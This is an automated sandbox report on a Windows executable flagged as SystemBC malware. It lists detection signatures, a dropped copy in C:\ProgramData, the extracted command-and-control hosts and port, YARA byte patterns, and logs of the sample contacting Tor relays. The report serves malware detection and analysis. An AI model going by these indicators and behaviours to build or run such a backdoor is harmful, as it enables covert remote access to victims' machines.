Edit tour

Windows Analysis Report
i1lq1Qpbyw.exe

Overview

General Information

Sample Name:	i1lq1Qpbyw.exe
Analysis ID:	802198
MD5:	40753d4f4ba5863be3aaaa38cd50995a
SHA1:	cb58f6a57ecd27e7380e0f38dedb621d7d161e19
SHA256:	23f66ece38393f81fc1f892c9243cebb6e5412b95629cc07fa83065f5b5a3e02
Tags:	exeSystemBC
Infos:

Detection

SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Antivirus / Scanner detection for submitted sample

Yara detected SystemBC

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found evasive API chain (may stop execution after checking mutex)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

May check the online IP address of the machine

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

May use the Tor software to hide its network traffic

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Creates job files (autostart)

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

i1lq1Qpbyw.exe (PID: 1716 cmdline: C:\Users\user\Desktop\i1lq1Qpbyw.exe MD5: 40753D4F4BA5863BE3AAAA38CD50995A)

llfujo.exe (PID: 3484 cmdline: C:\ProgramData\dtkttiw\llfujo.exe start MD5: 40753D4F4BA5863BE3AAAA38CD50995A)

cleanup

Malware Configuration

Threatname: SystemBC

{"HOST1": "winstationsocks.com", "HOST2": "winstationsocks.xyz", "PORT1": "4124"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.570272612.000000000091C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x13d0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1680:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: i1lq1Qpbyw.exe PID: 1716	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: i1lq1Qpbyw.exe

Virustotal: Detection: 74%

Perma Link

Antivirus / Scanner detection for submitted sample

Source: i1lq1Qpbyw.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://128.31.0.39/tor/status-vote/current/consensus

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\dtkttiw\llfujo.exe

Avira: detection malicious, Label: TR/AD.Coroxy.mcdzy

Machine Learning detection for sample

Source: i1lq1Qpbyw.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\dtkttiw\llfujo.exe

Joe Sandbox ML: detected

Source: 1.2.llfujo.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 1.2.llfujo.exe.860e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.i1lq1Qpbyw.exe.860e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.0.llfujo.exe.400000.0.unpack	Avira: Label: TR/AD.Coroxy.mcdzy
Source: 0.3.i1lq1Qpbyw.exe.880000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.3.llfujo.exe.870000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.i1lq1Qpbyw.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 0.0.i1lq1Qpbyw.exe.400000.0.unpack	Avira: Label: TR/AD.Coroxy.mcdzy

Source: 1.2.llfujo.exe.400000.0.unpack

Malware Configuration Extractor: SystemBC {"HOST1": "winstationsocks.com", "HOST2": "winstationsocks.xyz", "PORT1": "4124"}

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00404359 VirtualAlloc,DecryptMessage,	0_2_00404359
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00404224 QueryContextAttributesA,VirtualAlloc,EncryptMessage,	0_2_00404224
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00401DC1 CryptReleaseContext,	0_2_00401DC1
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_004038DA CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_004038DA
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00403DE9 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00403DE9
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00403BB4 CryptImportKey,CryptExportKey,CryptDestroyKey,	0_2_00403BB4
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_004011B8 CryptAcquireContextA,CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_004011B8
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00861408 CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_00861408
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00862011 CryptReleaseContext,	0_2_00862011
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00864039 CryptStringToBinaryA,	0_2_00864039
Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: 0_2_00863B2A CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_00863B2A
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00861408 CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	1_2_00861408
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00862011 CryptReleaseContext,	1_2_00862011
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00864039 CryptStringToBinaryA,	1_2_00864039
Source: C:\ProgramData\dtkttiw\llfujo.exe	Code function: 1_2_00863B2A CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	1_2_00863B2A

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Code function: -----BEGIN RSA PUBLIC KEY-----		0_2_00403DE9
Source: i1lq1Qpbyw.exe	Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe	Unpacked PE file: 0.2.i1lq1Qpbyw.exe.400000.0.unpack
Source: C:\ProgramData\dtkttiw\llfujo.exe	Unpacked PE file: 1.2.llfujo.exe.400000.0.unpack

Source: i1lq1Qpbyw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\i1lq1Qpbyw.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 64.185.227.155:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.9.235.157:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.5:49737 version: TLS 1.2

Source:	Binary string: ypt\tmp_1409393509\bin\woma.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\tizuzucor12\lekudoyuxe_salo.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp
Source:	Binary string: K\C:\tizuzucor12\lekudoyuxe_salo.pdbypt\tmp_1409393509\bin\woma.pdb source: i1lq1Qpbyw.exe, 00000000.00000003.306923173.0000000000B35000.00000004.00000020.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000000.299650512.0000000000401000.00000020.00000001.01000000.00000003.sdmp

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 9131
Source: unknown	Network traffic detected: HTTP traffic on port 9131 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49736

Performs DNS queries to domains with low reputation

Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: winstationsocks.xyz
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: winstationsocks.xyz

May check the online IP address of the machine

Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\dtkttiw\llfujo.exe	DNS query: name: api.ipify.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: winstationsocks.com
Source: Malware configuration extractor	URLs: winstationsocks.xyz

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 131.188.40.189 131.188.40.189
Source: Joe Sandbox View	IP Address: 131.188.40.189 131.188.40.189

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 128.31.0.39User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/00c2b794f74b8759d26786ee363009c9c59088f5 HTTP/1.0Host: 62.35.195.87User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/03000eddfeb7db6a4171d09d2df028ada6b27dee HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0Host: 116.203.195.42User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/267ee437f0c28e8d0b5ddd5e0daeafc9bf0fe505 HTTP/1.0Host: 176.58.110.66User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5756d9c403d89b79afe69d50bb0682ba318319fb HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/1f2077bf01caf23f819d4892a89883196aba842a HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32361a1efdf684daedc8ca64843767a395f9eace HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/32364bef873944be481e8bcc7fae9297f5f39781 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/7a72da3127be09a802255a600cd0b4e97785f5fd HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/3239007ce1fb2ecdfdf2067df23b949295dc5ef6 HTTP/1.0Host: 24.53.51.144User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

Source: global traffic	TCP traffic: 192.168.2.5:49700 -> 128.31.0.39:9131
Source: global traffic	TCP traffic: 192.168.2.5:49702 -> 2.59.235.35:9001
Source: global traffic	TCP traffic: 192.168.2.5:49703 -> 62.35.195.87:9030
Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 51.75.32.31:9001
Source: global traffic	TCP traffic: 192.168.2.5:49705 -> 140.78.100.35:8443
Source: global traffic	TCP traffic: 192.168.2.5:49706 -> 116.203.195.42:9030
Source: global traffic	TCP traffic: 192.168.2.5:49718 -> 75.194.52.84:9001
Source: global traffic	TCP traffic: 192.168.2.5:49719 -> 176.58.110.66:9030
Source: global traffic	TCP traffic: 192.168.2.5:49721 -> 185.220.101.173:11173
Source: global traffic	TCP traffic: 192.168.2.5:49722 -> 24.53.51.144:9030

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39
Source: unknown	TCP traffic detected without corresponding DNS query: 128.31.0.39

Source: llfujo.exe, 00000001.00000003.327642965.0000000001EC0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318587657.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.329491271.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.319529695.0000000001DE0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.326612747.0000000002020000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318365510.0000000001460000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.320254734.0000000001DD0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569369903.0000000000C80000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.342655337.0000000001F50000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569416802.0000000000CE0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.326200007.0000000001E90000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.334530849.0000000001F20000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000002.570365260.0000000000C80000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.325628404.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318557488.0000000001480000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318110141.0000000001400000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.323721618.0000000001F60000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.318814888.0000000001D10000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569208260.0000000000CF0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.319771879.0000000001DA0000.00000004.00001000.00020000.00000000.sdmp, llfujo.exe, 00000001.00000003.569158116.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://386bsd.net
Source: i1lq1Qpbyw.exe, i1lq1Qpbyw.exe, 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, i1lq1Qpbyw.exe, 00000000.00000003.305913377.0000000000880000.00000004.00001000.00020000.00000000.sdmp, i1lq1Qpbyw.exe, 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, llfujo.exe, llfujo.exe, 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
